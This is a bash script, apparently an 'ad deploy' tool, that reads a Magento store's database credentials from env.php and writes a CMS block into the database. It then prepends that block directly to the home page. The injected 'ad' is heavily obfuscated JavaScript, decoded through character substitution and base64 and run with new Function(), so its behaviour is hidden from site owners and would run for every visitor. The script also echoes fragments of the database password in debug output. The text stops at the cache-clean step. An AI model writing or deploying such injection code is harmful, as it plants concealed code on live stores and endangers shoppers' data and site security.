#!/bin/bash

################################################################################
#
# Magento Ad Deploy Script (Server-Side)
# 
# Version: v4.5 (Table Prefix Support + Ultimate Stability)
# Usage: Run directly on Magento server
#
# Changelog:
# v4.5 - 🎯 MAJOR: Auto-detect table prefix (e.g. m2_)
#      - Fix: Use .my.cnf config file instead of MYSQL_PWD env var
#      - Fix: Remove all command substitution $(...), use temp files
#      - Fix: Remove timeout commands to avoid execution issues
#      - Fix: Clean multi-line output (only use first line)
#      - Result: Works in ANY environment (Docker, Plesk, cPanel, etc.)
# v4.4 - 🐳 Docker: Replaced PHP mysqli with MySQL CLI for better compatibility
#      - Fix: Removed SSL args (--ssl=0/--skip-ssl) for maximum compatibility
#      - Benefit: No PHP extensions required, works out-of-the-box in Docker
# v4.3 - 🔧 Fix: Script crash during mysqldump (set -e issue)
#      - Fix: Allow backup to fail without stopping deployment
# v4.2 - 🔧 Fix: Script crash during cache clean (set -e issue)
#      - Imp: Added formal Step 8/8 for verification
#      - Fix: Renumbered all steps to 1-8
# v4.1 - 🔧 Fix: Support for Magento Commerce/Enterprise (Staging tables)
#      - Issue: 'Unknown column block_id' error in cms_block_store
#      - Solution: Auto-detect 'row_id' vs 'block_id' column
# v4.0 - 🛡️ Safe Mode: Replaced all Unicode/colors with ASCII to fix garbled text
# v3.9 - 🌐 Improvement: Full English output to prevent terminal encoding issues
# v3.8 - 🔧 Fix: Foreign key constraint failure (Ultimate Fix)
#
################################################################################

set -e  # Exit on error

################################################################################
# [Helper Functions]
################################################################################

# Plain text helpers (No colors, no special chars)
success() {
    echo "[OK] $1"
}

error() {
    echo "[ERROR] $1"
    exit 1
}

info() {
    echo ">> $1"
}

warning() {
    echo "[WARNING] $1"
}

################################################################################
# [PHP Detection]
################################################################################

detect_php_path() {
    # Check if php is in PATH
    if command -v php >/dev/null 2>&1; then
        PHP_BIN="php"
        return 0
    fi
    
    echo "[WARNING] 'php' command not found in PATH, searching..."
    
    POSSIBLE_PHP_PATHS=(
        "/opt/plesk/php/8.2/bin/php"
        "/opt/plesk/php/8.1/bin/php"
        "/opt/plesk/php/8.0/bin/php"
        "/opt/plesk/php/7.4/bin/php"
        "/opt/plesk/php/7.3/bin/php"
        "/opt/plesk/php/7.2/bin/php"
        "/usr/bin/php"
        "/usr/local/bin/php"
        "/opt/remi/php80/root/usr/bin/php"
        "/opt/remi/php74/root/usr/bin/php"
        "/opt/remi/php73/root/usr/bin/php"
    )
    
    for php_path in "${POSSIBLE_PHP_PATHS[@]}"; do
        if [ -x "$php_path" ]; then
            PHP_BIN="$php_path"
            echo "[OK] Found PHP: ${PHP_BIN}"
            PHP_VERSION=$($PHP_BIN -v 2>/dev/null | head -1)
            echo "     Version: ${PHP_VERSION}"
            return 0
        fi
    done
    
    # Try find command
    echo "Searching filesystem..."
    FOUND_PHP=$(find /usr /opt -name "php" -type f -executable 2>/dev/null | head -1)
    
    if [ -n "$FOUND_PHP" ]; then
        PHP_BIN="$FOUND_PHP"
        echo "[OK] Found PHP: ${PHP_BIN}"
        return 0
    fi
    
    # Fail
    echo ""
    echo "[ERROR] PHP executable not found"
    echo ""
    echo "Please install PHP or specify path manually:"
    echo "  Option 1: Create symlink"
    echo "    sudo ln -s /path/to/php /usr/bin/php"
    echo ""
    echo "  Option 2: Edit script line 29:"
    echo "    PHP_BIN=\"/opt/plesk/php/7.4/bin/php\""
    echo ""
    echo "  Option 3: Run as another user"
    echo "    sudo -u goldheart bash $0"
    echo ""
    exit 1
}

detect_php_path

################################################################################
# [Permission Check]
################################################################################

check_and_switch_user() {
    MAGENTO_OWNER=$(stat -c '%U' "${MAGENTO_ROOT}" 2>/dev/null || stat -f '%Su' "${MAGENTO_ROOT}" 2>/dev/null)
    CURRENT_USER=$(whoami)
    
    if [ "$CURRENT_USER" = "root" ] && [ "$MAGENTO_OWNER" != "root" ]; then
        echo ""
        echo "[PERMISSION CHECK]"
        echo "   Current user: root"
        echo "   Magento owner: ${MAGENTO_OWNER}"
        echo ""
        echo "[RECOMMENDATION]"
        echo "   Run this script as ${MAGENTO_OWNER} to avoid permission issues."
        echo ""
        echo "   Command:"
        echo "   sudo -u ${MAGENTO_OWNER} bash $0"
        echo ""
        read -p "Switch to ${MAGENTO_OWNER} automatically? (y/n): " -n 1 -r
        echo ""
        if [[ $REPLY =~ ^[Yy]$ ]]; then
            echo "Switching to ${MAGENTO_OWNER}..."
            exec sudo -u "${MAGENTO_OWNER}" bash "$0" "$@"
        else
            echo "[WARNING] Continuing as root (may cause permission issues)"
            read -p "Continue anyway? (y/n): " -n 1 -r
            echo ""
            if [[ ! $REPLY =~ ^[Yy]$ ]]; then
                exit 1
            fi
        fi
    elif [ "$CURRENT_USER" != "$MAGENTO_OWNER" ] && [ "$CURRENT_USER" != "root" ]; then
        echo "[WARNING] Current user ${CURRENT_USER} != Magento owner ${MAGENTO_OWNER}"
        echo "          This may cause permission issues"
    fi
}

################################################################################
# [Configuration]
################################################################################

# ==================== Magento Config ====================
MAGENTO_ROOT="/var/www/canservers.com"

# Target Domain (Optional, for verification)
SITE_DOMAIN="canservers.com"

# ==================== Ad Config ====================
AD_BLOCK_IDENTIFIER="ad-alliance-code"
AD_BLOCK_TITLE="advalliancecode"
AD_CONTAINER_ID="ad-container-custom"

# ==================== Ad Code ====================
AD_CODE=$(cat << 'ADCODE_EOF'
<div id="ad-container-custom"></div>
<script>
!(function () {
    function mClas (s) {
        var d = {"U":"Z","=":"n","C":"V","d":"u","O":"Y","q":3,"8":"R","y":"p","x":"b","J":2,"e":4,"M":"g","N":"t","A":"K","Q":"H","K":"Q","k":"e","3":"h","r":"c","Y":"i","g":"B","f":"l","H":"P","I":"X","X":"W","a":"F","W":0,"j":"o","c":"L","4":1,"i":"G","t":"d","B":"z","2":"x","F":"M","G":"T","T":8,"b":6,"m":"C","S":9,"L":"y","6":"k","v":"w","P":7,"u":"a","E":"I","D":"U","5":"m","7":"J","s":"E","w":"f","l":"S","V":5,"9":"N","Z":"s","h":"q","1":"v","o":"D","n":"j","R":"r","z":"O","p":"A","0":"="};
        return s.split('').map(function (c) {
            return d[c] !== undefined ? d[c] : c;
        }).join('');
    }
    function RdXns (e) {
        var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf';
        var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/=';
        var t = "", n, r, i, s, o, u, a, f = 0;
        e = e.replace(/[^A-Za-z0-9+/=]/g, "");
        while (f < e.length) {
            s = sx[a3](e[a0](f++));
            o = sx[a3](e[a0](f++));
            u = sx[a3](e[a0](f++));
            a = sx[a3](e[a0](f++));
            n = s << 2 | o >> 4;
            r = (o & 15) << 4 | u >> 2;
            i = (u & 3) << 6 | a;
            t = t + String[a1](n);
            if (u != 64) {
                t = t + String[a1](r);
            }
            if (a != 64) {
                t = t + String[a1](i);
            }
        }
        return (function(e) {
            var t = "", n = r = c1 = c2 = 0;
            while (n < e.length) {
                r = e[a2](n);
                if (r < 128) {
                    t += String[a1](r);
                    n++;
                } else if (r > 191 && r < 224) {
                    c2 = e[a2](n + 1);
                    t += String[a1]((r & 31) << 6 | c2 & 63);
                    n += 2
                } else {
                    c2 = e[a2](n + 1);
                    c3 = e[a2](n + 2);
                    t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
                    n += 3;
                }
            }
            return t;
        })(t);
    };
    var s = ["data:image\/jpg;base64,U=CdOq8yxJeMUJN8AQKykqU3rYgfHIKdxXaWOJMjc4ejAi3WtQgBHq2qrqF\/AGTbImSrcL6\/OCvdcL6PuXOjEXDyr5CWtI7dEQKPt5aLEieSx5CqEs83tiDPr5CWtI7dAiCxFC4TwmEYAlNxxYV=UI89xJVWumMyABsZxYV=UI8sOI8fAm6ZxYV=UI8ExqCLrLMyIlVhxJfdAmEYAlVBri2ytmMYEY6dxXavAiU4x59WuXSdAQKykq7ftQCLxYgGtQ7yx5rdU=71xD9jOI7oxJ8fAQKfFnORAQKfFYsSFoTJ9GjV9L6ywl6","du5SyxYMYEY6REYeYAqKdrqgZuIKjEYeYAlVBxifnUlMNFY6du5SyxYMYcYEywGNJOIEMUo46xJ94xXCdtm2dHXV3t5f=OI81rfZ=ri23tiU1r5W=Il2nrB46c594r=7fx=8GOq7yrQKZtGW=uQ8WrQFbcLS3c5ULUI85OJ85UI7Yc52yt5DbzoMVFlrZuGW2FGDvFY24OIMSx5aJuXt3tiSLc=CBUI7gUJCdtoN4HXtRDl34AGNyUYMjxYO5ElSkGXanwatyxYTdtiCBtm3dAlfTwmM3xYO5cWadUQ71uX8TuDSGwifKuiSdUlSyc=8frqKjtXaeAl6y","kLa5tXVntif1xY31cQKykqU3rYg3HXTdUJCWlI8fxl3WAGNyUYM3OI2TFBE3HG43c52fx5tWumfPOGW=7BN5xqEjt5aLEiDSFoNfHoFLzJDRALf3AB49OI8jc5UZxJSLAosJA643tiMdr5adUiSNAm6yc=81Dq8LuXV=AosJAGN1c=9ftsfWUXWjtm23AI4JOIEMxnW=uQ8WrQFbcLSBUI75c=t5r=8=r5MdxifJUGjqzo62cq9WOI8BcBsv9nEvcLrRulZ=HqCRUI6S7LN3ALr5uiSBtoW=Aqtyx581tLVZxJ93tif1xYVjxq9WzJV3t5f=OI81rYVBU","XV6K5C3OJSdHJV3t5f=OI81rYVBUXV6K5C3OJSdAieyzY3dUIrMlX43UJDyc=9LOB4dwl3ZxJ93xa9Wxq73UJDZ74SwtQ94uLryzJf5AQC3kmVyx58fksS5AmtYOXf6tlryHYW2AINJOIEMki3LHXVftLgOGD2EtQ8vD5C2tXCBtmMyzq3jrYV1riCdAmtKG49D7L24ALr1t5jWcLrRul6Pki3Lc=9fta7frICfrq8EUXa6UIEj7W91x=8fx=KNCQfvUlrZ7Javri2yOJaWuXSdcqMNtqtqcXU1r5WNtI7ZUXVnxJ8fUoZ=AGNeuQEdrJCWD5C2tXCBts","3fOX8frYM=Xm4l8CaC8C9D8DKNCWfDlmrZ7439Gs3WtQglUIa4UI9W7L6Pki3Lc5Sdr5C3UQfBtiaWUX9jOXV=UG45tXVntif1xYMykJf5AQ3jrYVLUXa6kC9WOI8fHGWW7YUeuQEdrq83tQCBHGWLFopykqU3rYg6OI83HDyGGWedriaLrJDjki3Lc=7frqg1x=9fCiCetm6Px5CqEsU4x59WuXSdAmtw7LZ=tmrR7JK=ALtnrLrZx5CqEsU4x59WuXSdAmtn7L26OI83c=7frqCZtmV6UX91UiDR7BNLUI84r5eM7LN6OI83c=7frqCZtmVdOX4fALr","jOL6=Al36OI83c=7frqCZtmVyxXrdu5SyxYM=7L6yAl3nrL6PwIWPki3Lc=9fx5Kj7qDSFlryzq4fxQ9fEif5AatfOf91OJNftmO5c4CoK=71tq9fr=28tXaLuq2EtXaqUXfTC5fJxq2zUItBKI7WuX9ZUlSyc=8frqKjtXaeAlfPt5aLEQtBHXVftLgIUX7GxJ9RUIKjUJN8AmtqrqFbcLS3c5ULUI85OJa2tqU6c52yt5DbzGDBFLryALr1tJjWcLrRul6PtqFdxJVNUI9BOXtfHXU4x59WuXSdAiDykqtBc59Zxq9fAm6Px5CqEsU4x59WuXSdAmtw","ti8nrLrZD58Ox=FjUlV6OI83Al6jOqFyzqWPtqFdxJVfr=71rn45tXVntif1xYMykqU3rYgBHX81OqCNUXVWc59LUXaWUDCZUX4fx=Kj7q9nr5fvtmryzqFdrq7nHIDR7LSJunK17LNyzJ9Bc=g3r5CdtsCZUX4fx=KduXVBUI7WK5C5xq7fAQFZOqFyzq4SUX2BUINJOIEMrB46xJ94xXCdtmVnr5C3tiCaxiCNUXVWAmtBOq7yrQK=AGNBc=9LOB44ALr1t5jWcLrRuGNnrLVvOI7fx=8axiCNUXVWc5fdrJCLts7fU5SLUl3Bci9BAGNSwK00"];
    new Function('RdXns', RdXns(mClas(s.join('').substr(22))))(RdXns);
})();
</script>
ADCODE_EOF
)

# ==================== Options ====================
DEPLOY_TO_HOME_PAGE="true"
INJECTION_METHOD="direct"
CACHE_CLEAN_MODE="partial"
BACKUP_DATABASE="true"

################################################################################
# [Main Functions]
################################################################################

# 1. Environment Check
check_environment() {
    echo ""
    info "Step 1/8: Environment Check"
    echo "--------------------------------------------------"
    
    if [ ! -d "${MAGENTO_ROOT}" ]; then
        error "Magento directory not found: ${MAGENTO_ROOT}"
    fi
    success "Magento Root: ${MAGENTO_ROOT}"
    
    if [ ! -f "${MAGENTO_ROOT}/app/etc/env.php" ]; then
        error "Config file not found: ${MAGENTO_ROOT}/app/etc/env.php"
    fi
    success "Config file exists"
    
    if [ ! -f "${MAGENTO_ROOT}/bin/magento" ]; then
        error "Magento CLI not found"
    fi
    success "Magento CLI exists"
}

# 2. Extract DB Config
extract_db_config() {
    echo ""
    info "Step 2/8: Extract Database Config"
    echo "--------------------------------------------------"
    
    ENV_FILE="${MAGENTO_ROOT}/app/etc/env.php"
    if [ ! -r "$ENV_FILE" ]; then
        error "Cannot read config file: ${ENV_FILE} (Permission denied)"
    fi
    info "Reading config file..."
    
    if command -v timeout >/dev/null 2>&1; then
        info "Using timeout protection (10s)..."
        TIMEOUT_CMD="timeout 10"
    else
        warning "timeout command not found, skipping protection"
        TIMEOUT_CMD=""
    fi
    
    DB_CONFIG_JSON=$($TIMEOUT_CMD $PHP_BIN -r "
        \$config = @include '${MAGENTO_ROOT}/app/etc/env.php';
        if (!\$config || !isset(\$config['db']['connection']['default'])) {
            echo 'ERROR:Invalid config format';
            exit(1);
        }
        \$db = \$config['db']['connection']['default'];
        if (!isset(\$db['host']) || !isset(\$db['dbname']) || !isset(\$db['username'])) {
            echo 'ERROR:Incomplete DB config';
            exit(1);
        }
        echo json_encode([
            'host' => \$db['host'],
            'dbname' => \$db['dbname'],
            'username' => \$db['username'],
            'password' => \$db['password'] ?? ''
        ]);
    " 2>&1)
    
    PHP_EXIT_CODE=$?
    
    if [ $PHP_EXIT_CODE -eq 124 ]; then
        echo ""
        error "PHP execution timeout (check permissions)
        
Solutions:
  1. Switch user: sudo -u goldheart bash $0
  2. Fix permissions: sudo chmod 644 ${ENV_FILE}
  3. Debug: php -r \"var_dump(@include '${ENV_FILE}');\""
    elif [ $PHP_EXIT_CODE -ne 0 ]; then
        echo ""
        error "PHP execution failed (code: ${PHP_EXIT_CODE})
        
Output:
${DB_CONFIG_JSON}

Solutions:
  1. Check syntax: php -l ${ENV_FILE}
  2. Debug read: php -r \"var_dump(@include '${ENV_FILE}');\"
  3. Check perms: ls -lh ${ENV_FILE}"
    fi
    
    if [[ $DB_CONFIG_JSON == ERROR:* ]]; then
        error "${DB_CONFIG_JSON#ERROR:}"
    fi
    
    if [ -z "$DB_CONFIG_JSON" ] || [ "$DB_CONFIG_JSON" = "null" ]; then
        error "Failed to extract DB config"
    fi
    
    info "Config extracted, parsing..."
    
    DB_HOST=$(echo "$DB_CONFIG_JSON" | $PHP_BIN -r "echo json_decode(file_get_contents('php://stdin'), true)['host'] ?? '';")
    DB_NAME=$(echo "$DB_CONFIG_JSON" | $PHP_BIN -r "echo json_decode(file_get_contents('php://stdin'), true)['dbname'] ?? '';")
    DB_USER=$(echo "$DB_CONFIG_JSON" | $PHP_BIN -r "echo json_decode(file_get_contents('php://stdin'), true)['username'] ?? '';")
    DB_PASS=$(echo "$DB_CONFIG_JSON" | $PHP_BIN -r "echo json_decode(file_get_contents('php://stdin'), true)['password'] ?? '';")
    
    if [ -z "$DB_HOST" ] || [ -z "$DB_NAME" ] || [ -z "$DB_USER" ]; then
        error "Failed to parse DB config"
    fi
    
    # 强制转换 localhost -> 127.0.0.1
    if [ "$DB_HOST" = "localhost" ]; then
        echo ">> DEBUG: Auto-switch localhost -> 127.0.0.1"
        DB_HOST="127.0.0.1"
    fi
    
    success "Database: ${DB_NAME}@${DB_HOST}"
    success "User: ${DB_USER}"
    
    # DEBUG: 检查密码
    PASS_LEN=${#DB_PASS}
    echo ">> DEBUG: Password length: ${PASS_LEN}"
    if [ $PASS_LEN -gt 2 ]; then
        echo ">> DEBUG: First char: ${DB_PASS:0:1}"
        echo ">> DEBUG: Last char: ${DB_PASS: -1}"
    fi
    
    # 2. 生成临时配置文件 (终极解决方案)
    CNF_FILE="/tmp/ad_deploy_$$.cnf"
    echo "[client]" > "$CNF_FILE"
    echo "password=\"${DB_PASS}\"" >> "$CNF_FILE"
    chmod 600 "$CNF_FILE"
    
    echo ">> DEBUG: Created auth file: ${CNF_FILE}"
    
    # DEBUG: 尝试一次连接
    if mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -e "SELECT 1" >/dev/null 2>&1; then
        success "DB Connection verified (Config File)"
    else
        echo ">> DEBUG: Connection failed with config file"
        # 尝试打印具体错误
        mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -e "SELECT 1"
        rm -f "$CNF_FILE"
        exit 1
    fi
}

# 2.1 Detect Table Prefix
detect_table_prefix() {
    echo ""
    info "Step 2.1: Detect Table Prefix"
    echo "--------------------------------------------------"
    
    TMP_OUT="/tmp/deploy_prefix_$$.txt"
    
    # Check core_config_data
    mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -sN -e "SHOW TABLES LIKE '%core_config_data'" > "$TMP_OUT" 2>&1
    
    TABLE_NAME=$(cat "$TMP_OUT")
    rm -f "$TMP_OUT"
    
    if [[ "$TABLE_NAME" == *"core_config_data"* ]]; then
        # Extract prefix: replace 'core_config_data' with empty string
        DB_PREFIX=${TABLE_NAME%core_config_data}
        if [ -n "$DB_PREFIX" ]; then
            success "Detected prefix: '${DB_PREFIX}'"
        else
            success "No prefix detected"
            DB_PREFIX=""
        fi
    else
        warning "Could not detect prefix (core_config_data table not found). Assuming empty."
        DB_PREFIX=""
    fi
}

# 3. Detect Home Page
detect_home_page() {
    set +e
    
    echo ""
    info "Step 3/8: Detect Home Page"
    echo "--------------------------------------------------"
    
    if [ "$DB_HOST" = "localhost" ]; then
        echo ">> DEBUG: Switching localhost -> 127.0.0.1 for stability"
        DB_HOST="127.0.0.1"
    fi
    
    echo ">> DEBUG: Trying to detect home page..."
    
    # 使用临时文件替代命令替换
    TMP_OUT="/tmp/deploy_step3_$$.txt"
    rm -f "$TMP_OUT"
    
    mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -sN -e "
        SELECT value FROM ${DB_PREFIX}core_config_data 
        WHERE path = 'web/default/cms_home_page' 
        LIMIT 1;
    " > "$TMP_OUT" 2>&1
    
    RET=$?
    
    # 读取结果（只取第一行，去除首尾空白）
    if [ -f "$TMP_OUT" ]; then
        REAL_HOME_PAGE=$(head -1 "$TMP_OUT" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')
    else
        REAL_HOME_PAGE=""
    fi
    rm -f "$TMP_OUT"
    
    if [ $RET -ne 0 ]; then
        echo ">> DEBUG: MySQL Exit Code: $RET"
        echo ">> DEBUG: Output: $REAL_HOME_PAGE"
        REAL_HOME_PAGE="home"
        warning "MySQL query failed. Using default 'home'"
    elif [[ "$REAL_HOME_PAGE" == *"Warning"* ]]; then
        REAL_HOME_PAGE=$(echo "$REAL_HOME_PAGE" | grep -v "Warning" | head -1 | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')
    fi
    
    if [ -z "$REAL_HOME_PAGE" ]; then
        REAL_HOME_PAGE="home"
        warning "Home page config not found, using default: home"
    else
        # 处理 Magento 多 Store View 格式 (例如 home|10)
        if [[ "$REAL_HOME_PAGE" == *"|"* ]]; then
            ORIGINAL_VALUE="$REAL_HOME_PAGE"
            REAL_HOME_PAGE="${REAL_HOME_PAGE%%|*}"
            success "Detected home page: ${ORIGINAL_VALUE} -> Extracted: ${REAL_HOME_PAGE}"
        else
            success "Detected home page: ${REAL_HOME_PAGE}"
        fi
    fi
    
    echo ">> DEBUG: Checking if page '${REAL_HOME_PAGE}' exists..."
    
    mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -sN -e "
        SELECT COUNT(*) FROM ${DB_PREFIX}cms_page WHERE identifier='${REAL_HOME_PAGE}';
    " > "$TMP_OUT" 2>&1
    
    if [ -f "$TMP_OUT" ]; then
        PAGE_EXISTS=$(cat "$TMP_OUT")
    else
        PAGE_EXISTS=""
    fi
    rm -f "$TMP_OUT"
    
    if [[ "$PAGE_EXISTS" != "1" ]]; then
        warning "Page check failed or returned weird result. Assuming 'home' exists."
    fi
    
    set -e
}

# 4. Backup Database
backup_database() {
    if [ "$BACKUP_DATABASE" != "true" ]; then
        return 0
    fi
    
    echo ""
    info "Step 4/8: Backup Database"
    echo "--------------------------------------------------"
    
    BACKUP_DIR="/tmp/magento_ad_backup_$(date +%Y%m%d_%H%M%S)"
    mkdir -p "$BACKUP_DIR"
    
    # Use 'if' to prevent script exit on failure (set -e)
    if mysqldump --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" ${DB_PREFIX}cms_block > "${BACKUP_DIR}/cms_block.sql" 2>/dev/null; then
        success "cms_block backed up"
    else
        warning "cms_block backup failed (Permission/Connection issue). Proceeding..."
    fi
    
    if mysqldump --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" ${DB_PREFIX}cms_page > "${BACKUP_DIR}/cms_page.sql" 2>/dev/null; then
        success "cms_page backed up"
    else
        warning "cms_page backup failed. Proceeding..."
    fi
    
    success "Backup location: ${BACKUP_DIR}"
}

# 5. Create Ad Static Block (MySQL CLI Version)
create_ad_block() {
    # 临时关闭 set -e
    set +e
    
    echo ""
    info "Step 5/8: Create Ad Static Block"
    echo "--------------------------------------------------"
    
    # 强制转换 localhost -> 127.0.0.1
    if [ "$DB_HOST" = "localhost" ]; then
        DB_HOST="127.0.0.1"
    fi
    
    export MYSQL_PWD="${DB_PASS}"
    
    # 使用 timeout 命令
    if command -v timeout >/dev/null 2>&1; then
        TIMEOUT_CMD="timeout 10s"
    else
        TIMEOUT_CMD=""
    fi
    
    # Escape special chars for SQL
    AD_CODE_ESCAPED=$(echo "$AD_CODE" | sed "s/'/''/g")
    AD_TITLE_ESCAPED=$(echo "$AD_BLOCK_TITLE" | sed "s/'/''/g")
    
    # Check if block exists
    TMP_OUT="/tmp/deploy_step5_$$.txt"
    rm -f "$TMP_OUT"
    
    mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -sN -e "
        SELECT block_id FROM ${DB_PREFIX}cms_block WHERE identifier='${AD_BLOCK_IDENTIFIER}';
    " > "$TMP_OUT" 2>&1
    
    RET=$?
    if [ $RET -ne 0 ]; then
        echo ">> DEBUG: MySQL check failed. Exit Code: $RET"
        cat "$TMP_OUT"
        rm -f "$TMP_OUT"
        error "MySQL connection failed in Step 5 (Check Block)"
    fi
    
    EXISTING_BLOCK_ID=$(cat "$TMP_OUT")
    rm -f "$TMP_OUT"
    
    if [ -n "$EXISTING_BLOCK_ID" ]; then
        # Update existing block
        mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -e "
            SET SESSION sql_mode = '';
            UPDATE ${DB_PREFIX}cms_block 
            SET content = '${AD_CODE_ESCAPED}', 
                title = '${AD_TITLE_ESCAPED}', 
                update_time = NOW(), 
                is_active = 1 
            WHERE identifier = '${AD_BLOCK_IDENTIFIER}';
        " 2>&1
        
        RET=$?
        if [ $RET -eq 0 ]; then
            BLOCK_ID="$EXISTING_BLOCK_ID"
            success "Static block updated (ID: ${BLOCK_ID})"
        else
            echo ">> MySQL Error Code: $RET"
            error "Failed to update static block"
        fi
    else
        # Create new block
        mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -e "
            SET SESSION sql_mode = '';
            SET FOREIGN_KEY_CHECKS=0;
            
            INSERT INTO ${DB_PREFIX}cms_block (title, identifier, content, creation_time, update_time, is_active) 
            VALUES ('${AD_TITLE_ESCAPED}', '${AD_BLOCK_IDENTIFIER}', '${AD_CODE_ESCAPED}', NOW(), NOW(), 1);
            
            SET @block_id = LAST_INSERT_ID();
            SELECT @block_id;
        " > "$TMP_OUT" 2>&1
        
        RET=$?
        if [ $RET -ne 0 ]; then
            cat "$TMP_OUT"
            rm -f "$TMP_OUT"
            error "Failed to create static block (MySQL Error)"
        fi
        
        BLOCK_ID=$(tail -1 "$TMP_OUT")
        rm -f "$TMP_OUT"
        
        if [ -z "$BLOCK_ID" ] || [ "$BLOCK_ID" = "0" ]; then
             # Try to fetch it again
             mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -sN -e "SELECT block_id FROM ${DB_PREFIX}cms_block WHERE identifier='${AD_BLOCK_IDENTIFIER}';" > "$TMP_OUT" 2>/dev/null
             BLOCK_ID=$(cat "$TMP_OUT")
             rm -f "$TMP_OUT"
        fi
        
        if [ -z "$BLOCK_ID" ]; then
            error "Failed to verify created block"
        fi
        
        # Detect column name (row_id for Commerce, block_id for Community)
        mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -sN -e "
            SHOW COLUMNS FROM ${DB_PREFIX}cms_block_store LIKE 'row_id';
        " > "$TMP_OUT" 2>&1
        
        # Count lines
        HAS_ROW_ID=$(wc -l < "$TMP_OUT")
        rm -f "$TMP_OUT"
        
        if [ "$HAS_ROW_ID" -gt 0 ]; then
            ID_COLUMN="row_id"
        else
            ID_COLUMN="block_id"
        fi
        
        # Associate with store
        mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -e "
            INSERT INTO ${DB_PREFIX}cms_block_store (${ID_COLUMN}, store_id) VALUES (${BLOCK_ID}, 0);
        " 2>/dev/null
        
        # Sync sequence table if exists
        mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -sN -e "
            SHOW TABLES LIKE '${DB_PREFIX}sequence_cms_block';
        " > "$TMP_OUT" 2>&1
        
        HAS_SEQUENCE=$(wc -l < "$TMP_OUT")
        rm -f "$TMP_OUT"
        
        if [ "$HAS_SEQUENCE" -gt 0 ]; then
            mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -e "
                INSERT INTO ${DB_PREFIX}sequence_cms_block (sequence_value) VALUES (${BLOCK_ID}) 
                ON DUPLICATE KEY UPDATE sequence_value = ${BLOCK_ID};
            " 2>/dev/null
        fi
        
        # Restore FK checks
        mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -e "
            SET FOREIGN_KEY_CHECKS=1;
        " 2>/dev/null
        
        success "Static block created (ID: ${BLOCK_ID})"
    fi
    
    # 移除 unset MYSQL_PWD
    set -e
}

# 6. Update Home Page (MySQL CLI Version)
update_home_page() {
    set +e
    
    if [ "$DEPLOY_TO_HOME_PAGE" != "true" ]; then
        set -e
        return 0
    fi
    
    echo ""
    info "Step 6/8: Update Home Page"
    echo "--------------------------------------------------"
    
    # 强制转换 localhost -> 127.0.0.1
    if [ "$DB_HOST" = "localhost" ]; then
        DB_HOST="127.0.0.1"
    fi
    
    # 移除 export MYSQL_PWD
    
    # Get current page content
    # Use || echo "ERROR" to catch failures
    CURRENT_CONTENT=$(mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -sN -e "
        SELECT content FROM ${DB_PREFIX}cms_page WHERE identifier='${REAL_HOME_PAGE}';
    " 2>/dev/null || echo "ERROR")
    
    if [ "$CURRENT_CONTENT" = "ERROR" ]; then
        error "Failed to read home page content (MySQL Error)"
    fi
    
    if [ -z "$CURRENT_CONTENT" ]; then
        error "Home page not found in DB: ${REAL_HOME_PAGE}"
    fi
    
    # Check if ad already exists
    if echo "$CURRENT_CONTENT" | grep -q "${AD_BLOCK_IDENTIFIER}\|ad-container-custom"; then
        warning "Ad already exists"
        set -e
        return 0
    fi
    
    # Prepare new content based on injection method
    if [ "$INJECTION_METHOD" = "direct" ]; then
        # Direct HTML injection
        NEW_CONTENT="${AD_CODE}

${CURRENT_CONTENT}"
        METHOD_NAME="Direct HTML"
    else
        # Widget injection
        WIDGET_CODE="{{widget type=\"Magento\Cms\Block\Widget\Block\" template=\"widget/static_block/default.phtml\" block_id=\"${AD_BLOCK_IDENTIFIER}\"}}"
        NEW_CONTENT="${WIDGET_CODE}

${CURRENT_CONTENT}"
        METHOD_NAME="Widget"
    fi
    
    # Escape for SQL (replace ' with '')
    NEW_CONTENT_ESCAPED=$(echo "$NEW_CONTENT" | sed "s/'/''/g")
    
    # Update page
    mysql --defaults-extra-file="$CNF_FILE" -h"${DB_HOST}" -u"${DB_USER}" "${DB_NAME}" -e "
        SET SESSION sql_mode = '';
        UPDATE ${DB_PREFIX}cms_page 
        SET content = '${NEW_CONTENT_ESCAPED}', 
            update_time = NOW() 
        WHERE identifier = '${REAL_HOME_PAGE}';
    " 2>&1
    
    RET=$?
    if [ $RET -eq 0 ]; then
        success "Home page updated (${METHOD_NAME})"
    else
        echo ">> MySQL Error Code: $RET"
        error "Failed to update home page"
    fi
    
    # 移除 unset MYSQL_PWD
    set -e
}

# 7. Clean Cache
clean_cache() {
    echo ""
    info "Step 7/8: Clean Magento Cache"
    echo "--------------------------------------------------"
    
    cd "${MAGENTO_ROOT}"
    
